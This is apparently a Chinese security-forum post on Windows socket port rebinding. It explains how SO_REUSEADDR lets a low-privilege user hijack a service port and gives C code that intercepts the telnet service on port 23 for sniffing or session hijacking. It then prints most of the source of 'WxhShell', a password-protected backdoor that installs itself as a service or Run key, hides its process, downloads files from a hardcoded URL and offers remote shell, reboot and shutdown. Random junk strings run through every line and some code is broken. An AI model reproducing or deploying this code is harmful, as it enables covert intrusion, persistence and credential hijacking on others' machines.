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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /M|2 62%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q;R],7Re  
JW{rA6?   
  saddr.sin_family = AF_INET; +1uF !G&l  
tQ8.f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GC?ON0g5s  
syWG'( >  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ir {OheJ  
xAK6pDp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ey2S#%DF]  
q@Zn|NR  
  这意味着什么?意味着可以进行如下的攻击: /q<__N  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |bq$xp  
K@sV\"U(*E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %6t2ohO"  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hc>m;[M)l  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8"U. Hnu  
MXw hxk#E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A;*d}Xe&J  
H=g`hF]`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ox(j^x]NC  
$* AYcy7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T?x[C4wf+  
mzeY%A<0^  
  #include I,0q4  
  #include rf?qdd(~cH  
  #include $ {O#  
  #include    `V`lo,"\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AfX}y+Ah  
  int main() S<VSn}vn  
  { P0W*C6&71|  
  WORD wVersionRequested; TM_/ `a2}  
  DWORD ret; d Vj_8>  
  WSADATA wsaData; pimtiQqC  
  BOOL val; } ud0&Oe{  
  SOCKADDR_IN saddr; )6q,>whI]  
  SOCKADDR_IN scaddr; .@(6Y<dN  
  int err; >33=<~#n  
  SOCKET s; (#Wu# F1;  
  SOCKET sc; 9f hsIe  
  int caddsize; VHCK2}ps  
  HANDLE mt; 4kBaB  
  DWORD tid;   *~t6(v?  
  wVersionRequested = MAKEWORD( 2, 2 ); `8AR_7i  
  err = WSAStartup( wVersionRequested, &wsaData ); J%x\=Sv  
  if ( err != 0 ) { yf[~Yl>Ogw  
  printf("error!WSAStartup failed!\n"); 'eLqlu|T  
  return -1; In18_ bc  
  } AS =?@2 q  
  saddr.sin_family = AF_INET; -(  
   N"]q='t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q35f&O;  
%Z):>'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k@/sn (x  
  saddr.sin_port = htons(23); RxI(:i?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $npT[~U5  
  { >8k _n  
  printf("error!socket failed!\n"); 7R6ry(6N  
  return -1; aX5 z&r:{  
  } U56G.  
  val = TRUE; +VO-oFE|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L*&p !  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _3TY,l~  
  { K i'Fn"  
  printf("error!setsockopt failed!\n"); PE5R7)~A  
  return -1; 0=AVW`J  
  } X!9 B2w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FB{KH .  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Jl#%uU/sx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ll`>FcQ  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,*7 (%k^`  
  { 5h Q E4/hH  
  ret=GetLastError(); p<,*3huj  
  printf("error!bind failed!\n"); #a'Ex=%rM  
  return -1; G 8g<>d{j  
  } q|!-0B @  
  listen(s,2); ZWc]$H?  
  while(1) eHn7iuS8  
  { , udTvI  
  caddsize = sizeof(scaddr); G(p`1~xm  
  //接受连接请求 #xX5,r0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x{n`^;Y1  
  if(sc!=INVALID_SOCKET) _'{_gei_P  
  { C71qPb|$R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nxWY7hU  
  if(mt==NULL) KH(%?  
  { GP?M!C,/}k  
  printf("Thread Creat Failed!\n"); >8WP0 Qx/  
  break; Ye2 {f"F  
  } /s@oZ{h  
  } zgNc4B  
  CloseHandle(mt); x4;"!Kq\  
  } pTPi@SBaP{  
  closesocket(s); JBE!j-F  
  WSACleanup(); IsZHe lg  
  return 0; Tn*9lj4  
  }   :.Jf0  
  DWORD WINAPI ClientThread(LPVOID lpParam) N G "C&v  
  { pEBM3r!X  
  SOCKET ss = (SOCKET)lpParam; eg(6^:z?f  
  SOCKET sc; OB Otuu.  
  unsigned char buf[4096]; ^p[rc@+  
  SOCKADDR_IN saddr; wy0tgy(' |  
  long num; F`gi_; c  
  DWORD val; /178A;J y  
  DWORD ret; 'p> Ra/4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]s'Q_wh_-v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X-6de>=   
  saddr.sin_family = AF_INET; ,l !Ta "  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }+.}J  
  saddr.sin_port = htons(23); \fG#7_wt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s5CXwM6cx  
  { /|tJ6T1LrB  
  printf("error!socket failed!\n"); )wC?T  
  return -1; 9^oKtkoDZ  
  } ;j[>9g  
  val = 100; OGK}EI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8K:y\1  
  { )'l:K.F  
  ret = GetLastError(); &J[:awQX  
  return -1; \-h%O jf4  
  } hs^zTZ_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CyS$|E  
  { #|L8tuWW  
  ret = GetLastError(); "I3@m%qv  
  return -1; ',9V|jvK  
  } */sS`/Lx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Zq+v6fk_Mn  
  { t^+ik1.  
  printf("error!socket connect failed!\n"); |iakz|])  
  closesocket(sc); ]<ldWL  
  closesocket(ss); zr-*$1eu  
  return -1; -`'I{g&A  
  } VCV"S>aVf  
  while(1) )eUh=eW  
  { W0dSsjNio  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '))0Lh l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +ieY:H[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [%q@]\U$s  
  num = recv(ss,buf,4096,0); @5N]ZQ9  
  if(num>0) Vr]id  
  send(sc,buf,num,0); /s x@$cvW  
  else if(num==0) <c2E'U)X  
  break; 6eLR2  
  num = recv(sc,buf,4096,0); 7?#J~.d5  
  if(num>0) 3eb%OEMYk  
  send(ss,buf,num,0); ;Y 00TGU  
  else if(num==0) nCUg ,;_=  
  break; 6.sx?YYM  
  } /a{la8Ni  
  closesocket(ss); joFm]3$;  
  closesocket(sc); 2GP=&K/A  
  return 0 ; ). <-X^@  
  } "Lzi+1  
n`#tKwWHYx  
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========================================================== C6VLy x  
~5NXd)2+Ks  
下边附上一个代码,,WXhSHELL {+ ][5<q  
o*-)Tq8GHE  
========================================================== h?AS{`.1  
= i$Fl{vH  
#include "stdafx.h" =b%MXT  
ZT'`hK_up  
#include <stdio.h> Q 8T]\6)m  
#include <string.h> xe]y]  
#include <windows.h> y`VyQWW  
#include <winsock2.h> YJ^] u}  
#include <winsvc.h> 7r7YNn/?  
#include <urlmon.h> B~6&{7 xc%  
r A`V}>Xj  
#pragma comment (lib, "Ws2_32.lib") { d=^}-^   
#pragma comment (lib, "urlmon.lib") *T- <|zQ  
\9cbI3rGz  
#define MAX_USER   100 // 最大客户端连接数 ;!=G   
#define BUF_SOCK   200 // sock buffer Ok|*!!T  
#define KEY_BUFF   255 // 输入 buffer &:;:"{t}Do  
AS!?q  
#define REBOOT     0   // 重启 44gPCW,u  
#define SHUTDOWN   1   // 关机 iIvc43YV%  
5-|:^hU9  
#define DEF_PORT   5000 // 监听端口 9{'N{  
`[z<4"Os   
#define REG_LEN     16   // 注册表键长度 N,`$M.|?  
#define SVC_LEN     80   // NT服务名长度 )fFb_U  
q]\:P.x!>  
// 从dll定义API Umz KY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); US+Q~GTA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BHIRH mM<Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c>,'Y)8   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _ q(ko/T  
5 f@)z"j  
// wxhshell配置信息 XR8,Vt)=  
struct WSCFG { )#EGTRdo  
  int ws_port;         // 监听端口 8Ry3`ct  
  char ws_passstr[REG_LEN]; // 口令 m.JBOq=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^T( .k=  
  char ws_regname[REG_LEN]; // 注册表键名 3oBtP<yG.  
  char ws_svcname[REG_LEN]; // 服务名 !SC`D])l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ySk R>y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P!$Zx)T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &)YQvTzs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FG PB:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q YC;cKv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XpIklL7  
<vnHz?71c  
}; BIb4h   
jG6]A"pr  
// default Wxhshell configuration  jPC[_g  
struct WSCFG wscfg={DEF_PORT, hv)x=e<  
    "xuhuanlingzhe", @:;)~V  
    1, \@-@Y  
    "Wxhshell", ~fBtQGdX  
    "Wxhshell", ~Xw"}S5  
            "WxhShell Service", Gn22<C/  
    "Wrsky Windows CmdShell Service", g6W)4cC8a  
    "Please Input Your Password: ", tN[L@t9#cr  
  1, zUDg&-J3  
  "http://www.wrsky.com/wxhshell.exe", g-qP;vy@"q  
  "Wxhshell.exe" 9lTv   
    }; 68bQ;Dv  
u=Fv 2  
// 消息定义模块 t^VwR=i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rjl`&POqc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VJ84?b{c W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !y#"l$"xK  
char *msg_ws_ext="\n\rExit."; SEORSS  
char *msg_ws_end="\n\rQuit."; h,QKd>4:CF  
char *msg_ws_boot="\n\rReboot..."; vrl;"Fm+  
char *msg_ws_poff="\n\rShutdown..."; s|@6S8E  
char *msg_ws_down="\n\rSave to "; qsL) }sC^8  
T} `x-  
char *msg_ws_err="\n\rErr!"; < |e,05aM  
char *msg_ws_ok="\n\rOK!"; yZd +^QN  
=Xm@YVf&ZD  
char ExeFile[MAX_PATH]; ai}mOyJs  
int nUser = 0; hS_6  
HANDLE handles[MAX_USER]; D@C-5rmq  
int OsIsNt; PxF <\pu&  
{2qFY 5H  
SERVICE_STATUS       serviceStatus; M]<?k]_p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |].pDwgt  
<m:m &I 8@  
// 函数声明 ADZ};:]  
int Install(void);  0,r}o  
int Uninstall(void); IOTR/anu  
int DownloadFile(char *sURL, SOCKET wsh); YZP(tn  
int Boot(int flag); avjpA ?Vz  
void HideProc(void); CPgCjtY  
int GetOsVer(void); _AYXc] 4%  
int Wxhshell(SOCKET wsl); [N1hWcfvd  
void TalkWithClient(void *cs); "ZHW2l Mf  
int CmdShell(SOCKET sock); )S`jFQ1  
int StartFromService(void); Z.d 7U~_  
int StartWxhshell(LPSTR lpCmdLine); jQk*8   
W8Q|$ZJ88F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #u2J;9P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hip&8NW  
XXbqQhf  
// 数据结构和表定义 DQMHOd7g  
SERVICE_TABLE_ENTRY DispatchTable[] = 1[kMOp  
{ qNI, 62  
{wscfg.ws_svcname, NTServiceMain}, `IOs-%s  
{NULL, NULL} e'~Zo9`r6  
}; Fd?"-  
GRMiQa  
// 自我安装 ;g6M%;1-  
int Install(void) Mmj;'iYOwF  
{ XIvn_&d;G  
  char svExeFile[MAX_PATH]; {)DHH:n  
  HKEY key; 6}75iIKi  
  strcpy(svExeFile,ExeFile); J%V-Q>L  
~CVe yk< (  
// 如果是win9x系统,修改注册表设为自启动 RE}?5XHb  
if(!OsIsNt) { !(q sD+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $k0k k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wx\v:A  
  RegCloseKey(key); f} Np/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GFfq+=se  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .U"8mP=&  
  RegCloseKey(key); :,WtR  
  return 0; ?gJOgsHJP  
    } bfA=3S"0  
  } ` L >  
} !1n8vzs"c  
else { Qd=^S^}(  
Z-8Yd6 4  
// 如果是NT以上系统,安装为系统服务 C|d\3S\(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 48jVRo  
if (schSCManager!=0) on0]vEE  
{ uA,>a>xYI  
  SC_HANDLE schService = CreateService z^_*&  
  ( 4 SHU  
  schSCManager, A 6OGs/:&  
  wscfg.ws_svcname, fLDg~;3  
  wscfg.ws_svcdisp, RaWG w  
  SERVICE_ALL_ACCESS, nt;haeJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zrR`ecC(b  
  SERVICE_AUTO_START, O=v#{ [  
  SERVICE_ERROR_NORMAL, GiP`dtK   
  svExeFile, o }3uo6GIB  
  NULL, XW -2~?$  
  NULL, #O$  
  NULL, 6el;Erp  
  NULL, SrFS#  
  NULL !O.[PH(,*  
  ); {o!KhF:[  
  if (schService!=0) e{X6i^% m_  
  { G P:FSprP  
  CloseServiceHandle(schService); 4(Ov1a>  
  CloseServiceHandle(schSCManager); h G gx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tp6M=MC%  
  strcat(svExeFile,wscfg.ws_svcname); '"?C4mbSl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >$ NDv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NE/m-ILw  
  RegCloseKey(key); U~} U\_  
  return 0; :8 jhiB)  
    } "t({D   
  } JC}f-%H?K  
  CloseServiceHandle(schSCManager); ;<$H)`*  
} |\n@3cIK  
} Aub]IO~  
UOGuqV-  
return 1; uKz,SqX  
} :N<.?%Kf  
iT;@bp  
// 自我卸载  *[r!  
int Uninstall(void) 9Ro6fjjE  
{ eVt$7d?Jw  
  HKEY key; Y 2Q=rj  
ew;ur?  
if(!OsIsNt) { t~e<z81p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h)6GaJ=  
  RegDeleteValue(key,wscfg.ws_regname); P7 ]z  
  RegCloseKey(key); JXixYwm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1=|7mehL%  
  RegDeleteValue(key,wscfg.ws_regname); nI/kw%<  
  RegCloseKey(key); yf?h#G%24  
  return 0; &O)&k  
  } \":?xh_H  
} yMZHUd  
} ;>%~9j1C  
else { Io|X#\K  
4<lQwV6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T"p(]@Ng  
if (schSCManager!=0) xy8#2  
{ c(U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K. %U  
  if (schService!=0) -UZ@G~K  
  { kF{*(r=.o  
  if(DeleteService(schService)!=0) { uK ("<u|  
  CloseServiceHandle(schService); F( Ak  
  CloseServiceHandle(schSCManager); B-*E:O0y  
  return 0; WKpA|  
  } )i>[M"7  
  CloseServiceHandle(schService); >tG+?Y'{  
  } @ct+7v~  
  CloseServiceHandle(schSCManager); e8h,,:l3j  
} >sD4R}\})  
} j'HkBW:L  
c=[q(|+O!  
return 1; 1^dJg8  
} Bi~:>X\[^6  
Z~6[ Z  
// 从指定url下载文件 v8/6wy?  
int DownloadFile(char *sURL, SOCKET wsh) D -IR!js ]  
{ =s}Xy_+:  
  HRESULT hr; ]~>K\i  
char seps[]= "/"; zSv^<`X3  
char *token; NQ|xM"MqD  
char *file; fd8!KO  
char myURL[MAX_PATH]; V (rr"K+  
char myFILE[MAX_PATH]; ~~F2Ij  
ciMM^ZRIb  
strcpy(myURL,sURL); `@`1pOb  
  token=strtok(myURL,seps); h?UVDzI!O  
  while(token!=NULL) .5> 20\b2  
  { _7kM]">j  
    file=token; cPn+<M#  
  token=strtok(NULL,seps); p|XAlia  
  } 7m9 " 8   
Zt@Z=r:&  
GetCurrentDirectory(MAX_PATH,myFILE);  m@rSz  
strcat(myFILE, "\\"); 7Bz*r0 9S  
strcat(myFILE, file); ] c}91  
  send(wsh,myFILE,strlen(myFILE),0); uXQ >WI@eF  
send(wsh,"...",3,0); Di Or{)a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XTqm]  
  if(hr==S_OK) F6S~$<  
return 0; X1A<$Am1  
else TSL9ax4j  
return 1; sI 4yG  
y/_wx(2  
} UQd6/mD`e  
zuL7%qyv  
// 系统电源模块 59B&2861  
int Boot(int flag) Mth6-^g5  
{ )QY![&k}1z  
  HANDLE hToken; FfMnul  
  TOKEN_PRIVILEGES tkp; ;RN8\re  
Ie'P#e'  
  if(OsIsNt) { _zC (J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }qC SS<a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b;9n'UX\  
    tkp.PrivilegeCount = 1; 0H=9@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [@{0o+.]'H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q e1oT)  
if(flag==REBOOT) { +T_ p8W+j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ly (P=M>"y  
  return 0; `?o=*OS7Y  
} "D> ]ES%5  
else { Li`hdrO'ii  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #*%fu  
  return 0; K&pM o.  
} vC9@,[  
  } PM~*|(fA  
  else { 3-Y=EH_0  
if(flag==REBOOT) { =B5E0x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mf*Nr0L;J  
  return 0; eihZp  
} t*+! n.p  
else { V;*pL1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :|XCnK0  
  return 0; 8[\ 79|  
} rycJyiw<-  
} :{CFTc5:A  
I #l;~a<9z  
return 1; _'*DT=H'U  
} URw!7bTz  
D=w9cKa  
// win9x进程隐藏模块 w~v<v&  
void HideProc(void) /Nqrvy=  
{ vb}/@F,Q5  
fu>Qi)@6a1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S1C^+Sla]  
  if ( hKernel != NULL ) U2&HSE|2J  
  { 9 x [X<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tMG@K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ||gEs/6-  
    FreeLibrary(hKernel); m3%ef  
  } c9|a$^I6  
-y<x!61  
return; (+$ol'i  
} 4^MSX+zt  
@fDQ^ 4  
// 获取操作系统版本 b.6ZfB,+G  
int GetOsVer(void) y"Ihr5S\  
{ RR'(9QJ$  
  OSVERSIONINFO winfo; YZ{jP?x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =u[rOU{X"W  
  GetVersionEx(&winfo); v+7*R)/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g?$e^ls  
  return 1; 2:/u2K  
  else >EeAPO4  
  return 0; IPkA7VhFF  
} rkP4<E-M  
n1JC?+  
// 客户端句柄模块 I4CHfs"ar  
int Wxhshell(SOCKET wsl) cC' ^T6  
{ ^h"n03VFA  
  SOCKET wsh; &:C{/QnA  
  struct sockaddr_in client; 0~:e SWz=  
  DWORD myID; vsw7|  
&,_?>.\[<  
  while(nUser<MAX_USER) rt,0j/o.1  
{ QQSH +  
  int nSize=sizeof(client); qYDj*wqf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hq]xmM?&  
  if(wsh==INVALID_SOCKET) return 1; EK:Y2WZ  
vx PDC~3;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jaL$LJV  
if(handles[nUser]==0) s&Z35IM8|  
  closesocket(wsh); QR|XV%$  
else Vx}Yl&*D  
  nUser++; rO5u~"v]  
  } y4 dp1<t%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y @]8Ep  
$hyqYp"/;  
  return 0; l@~1CMyN  
} 8x!+tw7  
d*]Dv,#X  
// 关闭 socket #>MO]  
void CloseIt(SOCKET wsh) d3\OHkM0^  
{ _ .-o%6  
closesocket(wsh); MT;SRAmUr  
nUser--; 03P N{<  
ExitThread(0); E \ K  
} =# k<Kw#  
1}i&HIr!b  
// 客户端请求句柄 D{Hh#x8Y  
void TalkWithClient(void *cs) MLkL.1eGSb  
{ Pmqx ;  
U:s} /to  
  SOCKET wsh=(SOCKET)cs; <^H1)=tlF  
  char pwd[SVC_LEN]; fcgDU *A%  
  char cmd[KEY_BUFF]; d,h~u{  
char chr[1]; 2LhfXBWf  
int i,j; 0A) Vtj$  
Oz4,Y+[#  
  while (nUser < MAX_USER) { [ HC8-N^.}  
aF; ]7i@  
if(wscfg.ws_passstr) { ~zXG<}n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KdBq@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aB$y+`f)@  
  //ZeroMemory(pwd,KEY_BUFF); WH pUjyBP  
      i=0; *` @XKK  
  while(i<SVC_LEN) { yFPaWW  
>?\v@   
  // 设置超时 y(aAp.S>  
  fd_set FdRead; Lo$Z>u4(c  
  struct timeval TimeOut; ,ZzB#\  
  FD_ZERO(&FdRead); I]uOMWZs  
  FD_SET(wsh,&FdRead); UX-_{I QW  
  TimeOut.tv_sec=8; cu.*4zs  
  TimeOut.tv_usec=0; m>Yo 9/XpZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [9db=$v8$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '[M^f+H|  
ei+9G,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2yEO=SN,(  
  pwd=chr[0]; zAkc 67:  
  if(chr[0]==0xd || chr[0]==0xa) { 8xD<A|  
  pwd=0; EMVoTW)z  
  break; @dWS*@  
  } tn:/pPap  
  i++; cKi^C  
    } DJD]aI  
JA SR  
  // 如果是非法用户,关闭 socket zDvP7hl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iSZctsqE  
} </+%R"`  
XL.CJ5y>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]@ Sc}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YjX!q]56  
]Jq k C4|  
while(1) { c`$`0}  
c:@OX[##  
  ZeroMemory(cmd,KEY_BUFF); O%fp;Y{`  
j J`Zz  
      // 自动支持客户端 telnet标准   qUoMg%Z%l  
  j=0; Rvu3Qo+  
  while(j<KEY_BUFF) { @F3-Ugm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f9 l<$l  
  cmd[j]=chr[0]; aG8D%i0  
  if(chr[0]==0xa || chr[0]==0xd) { {!{7zM%u0C  
  cmd[j]=0; S$lmEJ_  
  break; rjpafGCp  
  } M::IE|h  
  j++; w /W Cj4`  
    } rs 1*H  
 wc+N  
  // 下载文件 ^ ]6  80h  
  if(strstr(cmd,"http://")) { ?CT^Zegmr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `6BS-AVO7  
  if(DownloadFile(cmd,wsh)) NW4 s'roP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fzld0p9=  
  else l5y#i7q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lPFdQ8M  
  } 4QKE{0NE  
  else { Am0.c0h  
Tm:#"h\F  
    switch(cmd[0]) { I_6` Z 0  
  1=q?#PQ  
  // 帮助 *liPJ29C[  
  case '?': { CF}Nom)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M(h H#_ $  
    break;  > ^v8N  
  } a] wcA  
  // 安装 ;~@PYIp  
  case 'i': { QV H'06 "{  
    if(Install()) ^? {kj{v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $W_o$'crW  
    else + $a:X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); etK,zEd  
    break; x"wM_hl5L  
    } -R$FJb Id  
  // 卸载 SQKY;p  
  case 'r': { 4^NHf|UJH  
    if(Uninstall()) $9i5<16  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "g:&Ge*X  
    else 645C]l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wY ;8UN  
    break; i+x6aQ24  
    } 'TN{8~Gt*  
  // 显示 wxhshell 所在路径 .sR&9FH  
  case 'p': { WZ6{(`;#m  
    char svExeFile[MAX_PATH]; x5 ~E'~_  
    strcpy(svExeFile,"\n\r"); oplA'Jgnv  
      strcat(svExeFile,ExeFile); u4+uGYr*@  
        send(wsh,svExeFile,strlen(svExeFile),0); t02"v4_i  
    break; @"0N@gU  
    } .@3u3i64'  
  // 重启 \\G6c4 fC  
  case 'b': { p;t!"I:`?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *4^]?Y\*  
    if(Boot(REBOOT)) _>m*`:Wb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f>+}U;)EF  
    else { UO!6&k>c  
    closesocket(wsh); ftqW3VW  
    ExitThread(0); Xsn- +e  
    } %=<NqINM[  
    break; g)D}p@>m  
    } R Mt vEa  
  // 关机 DJ [#H  
  case 'd': { +}0*_VW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,h`D(,?X  
    if(Boot(SHUTDOWN)) 2_\|>g|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f vM3.P  
    else { EF=D}"E6pO  
